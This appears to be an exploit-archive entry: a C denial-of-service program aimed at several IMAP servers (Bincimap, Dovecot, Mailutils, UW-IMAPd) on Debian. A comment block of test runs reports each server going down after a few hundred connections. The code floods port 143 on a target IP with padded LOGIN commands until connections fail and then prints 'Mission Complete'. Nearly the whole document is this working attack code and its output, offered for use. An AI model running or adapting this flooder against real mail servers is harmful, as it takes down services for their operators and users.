Debian Sarge Multiple IMAP Server Denial of Service Exploit

2008-09-23 21:01:12

/*

Debian Etch Multiple IMAP Server DoS (debianimapers2.c)
Jeremy Brown [[email protected]/http://jbrownsec.blogspot.com]

Testing Bincimap:

bash$ ./debianimapers2 192.168.0.99

.....

271 tries and imapd goes down! Mission Complete!

Testing Dovecot:

bash$ ./debianimapers2 192.168.0.99

.....

268 tries and imapd goes down! Mission Complete!

Testing Mailutil's IMAP4d:

bash$ ./debianimapers2 192.168.0.99

.....

362 tries and imapd goes down! Mission Complete!

Testing UW-IMAPd:

bash$ ./debianimapers2 192.168.0.99

.....

266 tries and imapd goes down! Mission Complete!

bash$

Yeah, this defiantly seems like a problem with Debian's INETd :P

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define COUNT 1000
#define SIZE 32

char imaplogin[] = "A0001 LOGIN";

int main(int argc, char *argv[])
{

char buffer[SIZE], imapped[SIZE*2+30];
int i, port = 143;

memset(buffer, 0x41, sizeof(buffer));
memset(imapped, 0, sizeof(imapped));

snprintf(imapped, sizeof(imapped)-1, "%s %s %s\r\n\r\n", imaplogin, buffer, buffer);

if(argc < 2)
{

printf("\nDebian Etch Multiple IMAP Server DoS");
printf("\nJeremy Brown [[email protected]/http://jbrownsec.blogspot.com]\n");

printf("\nUsage %s <host>\n\n", argv[0]);

return 0;
}

printf("\nDebian Etch Multiple IMAP Server DoS");
printf("\nJeremy Brown [[email protected]/http://jbrownsec.blogspot.com]\n");

int sock;
struct sockaddr_in remote;

remote.sin_family = AF_INET;
remote.sin_port = htons(port);
remote.sin_addr.s_addr = inet_addr(argv[1]);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error: socket()\n"); return -1; }
if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("Error: connect(%s:%d)\n", argv[1], port); return -1; }

close(sock);

printf("\nUsually takes ~1-2 minutes, LAN/Internet and connection speed will make time vary...\n");

for(i = 0; i <= COUNT; i++)
{

struct sockaddr_in remote;
remote.sin_family = AF_INET;
remote.sin_port = htons(port);
remote.sin_addr.s_addr = inet_addr(argv[1]);

if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Error: socket()\n"); return -1; }

if(connect(sock,(struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) { printf("\n%d tries and imapd goes down! Mission Complete!\n\n", i); return -1; }

int len = sizeof(imapped);
send(sock, imapped, len, 0);
close(sock);

}

return 0;
}

//

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